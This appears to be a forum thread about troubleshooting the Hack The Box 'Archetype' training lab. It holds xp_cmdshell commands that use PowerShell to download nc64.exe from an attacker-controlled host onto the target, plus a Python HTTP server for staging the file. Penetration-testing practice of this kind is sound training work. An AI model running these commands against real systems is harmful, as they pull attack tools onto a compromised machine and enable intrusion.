Starting Point Archetype;(405) Method Not Allowed;OSError: [Errno 98] Address already in use

I’m totally new and I can’t guess what mistake I have made. Help me!

when I type xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget
http://10.10.14.9/nc64.exe -outfile nc64.exe

wget : The remote server returned an error: (405) Method Not Allowed.

At line:1 char:32

  • … \sql_svc\Downloads; wget http://10.10.14.9/nc64.exe -outfile nc64.exe

  •                     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~        
    
    • CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest], WebExc

    eption

    • FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

NULL

SQL>

when I type sudo python3 -m http.server 80
sudo python3 -m http.server 80
Traceback (most recent call last):
File “/usr/lib/python3.9/runpy.py”, line 197, in _run_module_as_main
return _run_code(code, main_globals, None,
File “/usr/lib/python3.9/runpy.py”, line 87, in _run_code
exec(code, run_globals)
File “/usr/lib/python3.9/http/server.py”, line 1289, in
test(
File “/usr/lib/python3.9/http/server.py”, line 1244, in test
with ServerClass(addr, HandlerClass) as httpd:
File “/usr/lib/python3.9/socketserver.py”, line 452, in init
self.server_bind()
File “/usr/lib/python3.9/http/server.py”, line 1287, in server_bind
return super().server_bind()
File “/usr/lib/python3.9/http/server.py”, line 138, in server_bind
socketserver.TCPServer.server_bind(self)
File “/usr/lib/python3.9/socketserver.py”, line 466, in server_bind
self.socket.bind(self.server_address)
OSError: [Errno 98] Address already in use

I just followed walkthrough but i can’t

Chances are that you started your HTML server on a different port?

python3 -m http.server 8080

This way you will start a html server on port 8080 rather than 80 which is already in use. Then when you try to transfer the exe file you have to remember to transfer it on port 8080 rather than the default port 80.

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.14.9:8080/nc64.exe -outfile nc64.exe

Also make sure you are using the right IP address that points to your tun0 interface.

Hope that helps someone as I know this from 2022

1 Like

thank you for the reply.
as it turns out, only when I use pwnbox, I run into this problem.

“there is a python process that uses port 80 which is used for the remote connection. If you kill it, you will be kicked out of the web based Kali”

I think pwnbox is supposed to be for a beginner, but what a big trap this is.

I hope this helps someone who will be in the same situation.

fixed my issue